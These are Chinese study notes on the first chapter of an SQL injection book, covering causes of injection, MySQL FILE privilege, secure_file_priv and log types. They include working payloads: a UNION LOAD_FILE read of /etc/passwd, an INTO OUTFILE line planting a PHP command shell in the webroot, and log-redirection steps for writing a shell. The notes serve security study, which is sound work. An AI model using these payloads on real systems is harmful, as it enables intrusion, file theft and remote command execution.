sql注入攻击与防御第一章(笔记)
第一章 什么是sql注入
概述
SQL注入:应该用程序在向后台数据库传递SQL(Structured Query Language,结构化查询语言)查询时,如果为攻击者提供了影响该查询的能力,就会引发SQL注入。
SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行
自SQL数据库首次链接web起 SQL注入就已经存在了 ,它首次引起公众注意是在1998年圣诞节。
web工作原理
web应用通常包含三层
- 表示层(web浏览器或呈现引擎)
- 逻辑层(php,java,c#,asp等编程语言)
- 存储层(mysql、oracle、sql server等数据库)
web表示层向逻辑层层发送请求,逻辑层通过查询,更新存储层来响应该请求
SQL注入的产生过程
1.转义字符处理不当
sql数据库将单引号字符 ' 解析成代码与数据间的分隔线。单引号外面是代码,里面是数据
$sql="SELECT * FROM table WHERE field='$_GET["input"]'";
www.baidu.com/news.php?id=1’
2.类型处理不当
$SQL="SELECT * FROM table WHERE field=$_GET["userid]";
mysql提供一个名为LOAD_FILE函数。调用该函数必须拥有FILE权限
1 union ALL SELECT LOAD_FILE('/etc/passwd') --
mysql还包含一个内置命令,可以用来创建系统文件并进行写操作。
1 UNION SELECT"<? system($_REQUEST['cmd']);?>" INTO OUTFILE "/var/www/html/victim.com/cmd.php"
要向执行LOAD_FILE和SELECT INTO OUTFILE命令 必须拥有FILE权限
Load_file()
Into outfile
3.查询语句组装不当
4.错误处理不当
最常见的问题是将详细的内部消息(如数据库转储、错误代码等)显示给用户或攻击者
5.多个提交处理不当
6.不安全的数据库配置
- SQLserver使用了声名狼藉的 sa 作为数据库系统管理账户
- mysql使用root和anonymous用户账户
- Orace在创建数据库时会默认创建 SYS,SYSTEM,DBSNMP和OUTLN账户
- 服务器默认支持(xp_cmdshell、OPENROWSET、LOAD_FILE、ActiveX以及JAVA支持)
知识延伸-FILE权限、突破secure_file_prive getshell、mysql日志
-
知识延伸-FILE权限
FILE权限指的是对服务器主机上文件的访问,数据库用户拥有FILE权限才可以执行select into outfile,load data infile操作。
secure_file_priv参数说明
secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。
mysql新特性secure_file_priv对文件读写的影响 此开关默认为null,不允许导入导出
解决方案
window 修改my.ini 在[mysqld]内加入secure_file_priv= Linux:修改my.cnf 在[mysqld]内加入secure_file_priv=
重启即可开启
show global variables like '%secure%’; //查看secure-file-priv参数的值:
ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
-
利用日志来写shell(突破secure_file_priv是null的情况)
1.利用慢查询日志getsell
1.设置slow_query_log=1 启用慢查询日志
set global slow_query_log=1;
2.修改slow_query_log_file日志文件的绝对路径与文件名
set global slow_query_log_file='/www/admin/localhost_80/wwwroot/hua_shell.php'
3.通过延迟语句延迟执行才能写进日志 就成功写shell了
select ‘<?php phpinfo();?>’ or sleep(11);
参考学习:https://www.cnblogs.com/c1e4r/articles/8902444.html
2.利用查询日志getshell
1.开启查询日志
set global general_log='ON'
2.设置操作记录日志路径
set global general_log_file='/www/admin/localhost_80/wwwroot/hua_shell.php'
3.执行sql查询日志 产生日志即可getshell
select "<?php phpinfo();?>"
参考学习:https://www.jianshu.com/p/2da700db961e?from=groupmessage
-
linux查看mysql日志
进入mysql安装目录 一般 /usr/local/mysql/data
show variables like 'general_log'; -- 查看日志是否开启 set global general_log=on; -- 开启日志功能 set global general_log=on; -- 开启日志功能 set global general_log_file='tmp/general.lg'; -- 设置日志文件保存位置 show variables like 'log_output'; -- 看看日志输出类型 table或file set global log_output='table'; -- 设置输出类型为 table set global log_output='file'; -- 设置输出类型为file
mysql日志包含:错误日志、查询日志、慢查询日志、事务日志、二进制日志
**错误日志:**文件通常的名称为hostname.err。其中,hostname表示服务器主机名。
| log_error | ./VM-16-2-centos.err | 定义错误日志
更改日志位置
[mysqld] Log_error=DIR/[filename]
**查询日志:**询日志会记录用户的所有操作,其中还包含增删查改等信息,在并发操作大的环境下会产生大量的信息从而导致不必要的磁盘IO,会影响mysql的性能的
| general_log | OFF | 定义查询日志是否开启 | general_log_file | /www/mysql_data/mysql-5.5.62/data/VM-16-2-centos.log | 定义查询日志文件位置
**慢查询:**慢查询日志是用来记录执行时间超过指定时间的查询语句。通过慢查询日志,可以查找出哪些查询语句的执行效率很低,以便进行优化。
| slow_query_log | ON | 是否开启 | slow_query_log_file | mysql-slow.log | 日志位置
启动和设置慢查日志:
1.通过配置文件my.cnf中的log-slow-queries选项可以开启慢查日志
[mysqld] slow_query_log=1
2.登陆mysql使用mysql命令执行。
set global slow_query_log=1;
**事务日志:**事务日志(InnoDB特有的日志)可以帮助提高事务的效率。使用事务日志,存储引擎在修改表的数据时只需要修改其内存拷贝,再把改修改行为记录到持久在硬盘上的事务日志中,而不用每次都将修改的数据本身持久到磁盘。
**二进制日志:**二进制日志也叫作变更日志,主要用于记录修改数据或有可能引起数据改变的mysql语句,并且记录了语句发生时间、执行时长、操作的数据等等。所以说通过二进制日志可以查询mysql数据库中进行了哪些变化。